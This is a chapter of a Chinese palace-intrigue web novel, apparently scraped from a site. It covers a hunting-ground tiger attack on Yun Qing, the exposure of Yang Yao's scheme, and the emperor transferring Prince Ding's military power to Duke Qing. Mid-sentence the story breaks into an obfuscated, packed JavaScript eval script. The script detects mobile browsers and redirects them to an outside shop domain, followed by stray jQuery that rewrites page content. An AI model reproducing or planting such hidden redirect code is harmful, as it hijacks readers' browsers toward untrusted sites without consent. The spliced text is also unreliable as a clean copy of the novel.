清晨,西邙山内薄雾重重,山岚阵阵,众人手中的火把已经被湿润的雾气打湿,萧尘一行人人困马乏,正在原地修整。
萧尘拿出随身携带的水壶正欲喝水,东方天际鸣镝骤然升起,萧尘腾地站起身,知道周承已经先一步找到了人,命令羽林卫跟随在后,自己飞身上马朝着东方冲去。
一到燃放鸣镝之处,萧尘便见到沈玄清刚从马车上下来,上身沾满尘土鲜血,左腿伤口不知道遭受了什么攻击也一直在流血,但他没有包扎,就像感受不到疼痛一样,周承蹲在马车旁用临时架起来的铁锅熬粥,腾腾冒着热气。
萧尘眉头一拧,当即冲上马车掀开帘子,见到里边的女孩脸色惨白如雪,尽管右肩伤口被包扎上了,但仍然不断往外渗血,萧尘心口阵阵发疼,放下帘子后直接冲到沈玄清面前,抬手那如石头般的铁拳就要朝着沈玄清砸下。
周承见状不好,知道自家大人哪里是定王殿下的对手,但是他又不能对萧尘动手,直接用身体生生挡住了这一拳。这一拳萧尘并未收着力气,直打得周承腹内翻涌,觉得五脏六腑都要被震碎。下一秒萧尘将周承直接掼到地上,他今日势必要给沈玄清一个教训。
“如果你护不住她,就别将她禁锢在你一个人身边!”
谁料萧尘拳风直接被拦断,沈玄清用手将这拳死死攥住,萧尘惊讶于沈玄清哪里来的力气之时,却直接被他面无表情甩到了一边,沈玄清从他身边走过,看着接连而来的羽林卫,以及被架住的脸被啃食的不成人形的杨瑶,冷声开口:“怎么回事?”
有羽林卫向沈玄清说明了昨晚所见所闻,沈玄清目光轻轻掠过杨瑶,一字一句问道:“是你自己做的,还是你父亲教你的?”
平静的语气中透露着一股难以掩藏的疯感,杨瑶从未见到过沈玄清这样,即便他平时对自己多是冷脸,但也从未到达今日这种地步,那目光不像是看人的,更像是看待即将被宰的牲畜。
杨瑶不想在沈玄清面前展示自己的脸,想要伸手掩盖,却被身旁侍卫扣个死紧,“不是我!是她自己活该,跑进了老虎嘴边。”
沈玄清抬手让羽林卫将人押下去,转身对萧尘说了两个字:“带路。”
言毕,他舀了一碗粥,上马车去喂还在昏迷中的云倾。
……
及至营地,沈玄清仍不言语,抱着云倾回了营帐,萧尘不知道他在想什么,想要冲上去问,但霍常见到定王回来,神情紧张,忙迎了上来。
“本殿不是让你看着庆国公吗?”
“殿下,皇上今日醒来得知您私自调动近卫,勃然大怒,请您去帐中回话。”
“父皇难道不知道羽林卫是进山寻人的么?”
“知道,但与庆国公交好的大理寺少卿为其说情,父皇放了庆国公出来,谁知他颠倒黑白,竟然说沈大人为了夺魁私自放出猛虎,恶意伤人,并且说您调动近卫,图谋不轨。”
萧尘知道自己的父皇生性多疑,且最厌恶臣子与皇子厮混在一起,庆国公心性阴险可见一斑。他不舍地望了眼云倾的营帐,随即向正中大帐走去。
一进父皇的营帐,便见到数位与庆国公交好的大臣排在一侧,庆国公稳居中央,旁边坐着不知道何时过来的围着面纱的杨瑶,哭哭啼啼。
“定王,庆国公所说之事想必霍常都告诉你了,你作何解释?”
“父皇,庆国公一派胡言,山中猛虎根本不是沈玄清所放,儿臣发现那只虎时,杨小姐还在吹哨驱虎,但那只老虎先前袭击云小姐被射伤,所以发了狂反而咬伤了杨小姐,云小姐右肩负伤,此刻仍旧昏迷不醒。昨日私自调动羽林卫也实属无奈之举。”说罢,萧尘让人将那两支箭以及哨子呈给了皇上。
杨瑶下意识反驳。
“皇上,臣女怎么可能驱虎伤害自己,这哨子不是臣女的。”
庆国公知道皇上根本不在意那只猛虎是谁放出来的,他在意的是以萧尘在军中的威望竟然可以调动羽林卫,因此煽风点火道:“如此说来,羽林卫还真是能够体察定王的心情,知道定王挚友沈大人深陷深山,没等到皇上命令就进了山。也不知道堂堂一个男子,在山里过夜会有多大的危险。”
萧尘察觉到庆国公忽略云倾,直接底层挑拨的意思,他都想到这里,父皇不可能不想到这里,只是他了解父皇的性格,即便知道也不会说出来,以此完成他的制衡之术。萧尘此刻全然忘了早上和沈玄清的对峙,嘴角扯出一丝冷笑,“幸好您女儿遇上了老虎,否则若是沈大人遇上了,说不定堂堂一个男子真是会受伤呢。”
“你一个男子,出言攻击我一个女子,竟然也好意思么?”杨瑶抬起头颅,气势凌人,有父亲撑腰她此刻丝毫不惧。
“那你一个女子,欺负另一个女子便好意思了么?”周承跟随沈玄清进帐,人未至,声音先到,两人向皇上行了礼。
在沈玄清授意之下,周承将两件青色胡服扔到了地上。
“启禀皇上,这件破烂不堪的胡服是云倾小姐被老虎追赶之时慌乱丢下的,臣已经派医师检查过,这衣服被人用炽草熏过,人闻起来无味,但是老虎闻了便会发狂,臣送给云小姐的扣子去掉了一颗,而这件衣服没有,霍常将军在杨瑶小姐帐中发现了还未来得及处理的被掉包的胡服。”
杨瑶本是嫉妒云倾能够得到沈玄清亲自送的衣服,所以一时没来得及处理,没想到竟然被霍常找到,此时纵然百口也难辨。
景桓帝看完你方唱罢我登场后的戏码,终于缓缓开口:“杨瑶私放猛虎,谋害云倾证据确凿,但念云倾本属罪臣之女,且杨小姐面容已毁,故而可从轻发落,杖责二十,秋猎后禁足国公府一年。”杨瑶还不服气,但想到铁证如山,自己也不好再次开口,更何况父亲都没出言阻止,定然有他自己的打算。
“至于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782544|209334||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
定王……”
“皇上,老臣有一个提议。”
皇上示意庆国公说下去。
“定王虽然是救人心切,但是身为皇子凭借自身势力调动皇上私兵这个行为不能宽恕,若此次不加以惩罚,任其发展,恐怕日后羽林卫会换了主人。”
“你放肆!胆敢再出言挑拨,信不信本王直接将你斩了!”萧尘正欲拔剑,谁曾想却被沈玄清藏在袖子下的手不动声色地按住了,丝毫动弹不得。
“那庆国公想要如何?”沈玄清目光灼灼,代替萧尘问道。
‘’说到底,一切不过是因为定王手握兵权多年,才造成今天这幅局面,所以老臣建议,将兵权分散。”
这个提议正合景桓帝心意,开口说道:“庆国公所言不无道理,只是分散给何人呢。”
“自然是大周正统太子,太子固然有错,但其年轻气盛,多年监国劳苦功高……”
就在众人以为皇帝要出言拒绝之时,皇帝开口道:“太子尚在幽禁之中,这兵权还是交到庆国公手里代为掌管。”
“父皇,庆国公他……”
“够了!你在北境多年,竟然不知道军令如山吗?没有朕的命令私自调动羽林卫,朕未罚你已是开恩!”
萧尘早就猜到父皇的帝王之术已经运用得炉火纯青,只是未料到当自己真正成为棋子的时候,心里还是阵阵绞痛。
萧尘失魂落魄领了命,跟在沈玄清后头出了营帐。
走到无人之处,萧尘终于爆发:“那老贼为太子谋划的心思都要弹到我脸上了!”他见沈玄清不言语,但又怕自己打不过他,于是狠狠捶在一旁碗口粗的树干之上,然后转身即走。
“干什么去?”
"我去亲自盯着给那杨瑶杖刑的人,定要将那个毒妇的腰打断。”
“难道这就够了吗?”沈玄清冷声开口。
“父皇明显想用庆国公来制衡我,我能如何?至于那个老贼,我也不会放过他。”
“你不必去,留着杨瑶的命,我有用处。”
“什么用处,从刚才到现在,你除了拦着我,为云倾做过什么?她醒了难道你要告诉她害她的人还好好活着,而你束手无策吗?”
“你这么做会给庆国公留下把柄,若你不想让太子这么早被放出来,就不要这么做。”沈玄清看了萧尘一眼,说完便走。
“你去做什么?”
“云倾该换药了。”
萧尘:“……”看着沈玄清深一脚浅一脚的背影,又是一拳落到树干上,枯叶纷飞。他最终还是听了沈玄清的劝。
沈玄清回到营帐中,扶起云倾为她换药,随后亲自喂药,细细将流到唇边的药拭净。帐门外侍卫突然说道:“沈御史,周大人找您。”
沈玄清将云倾被角掖紧,走出营帐。周承见到沈玄清出来,低声附在其耳边道:“一切已经准备好了。”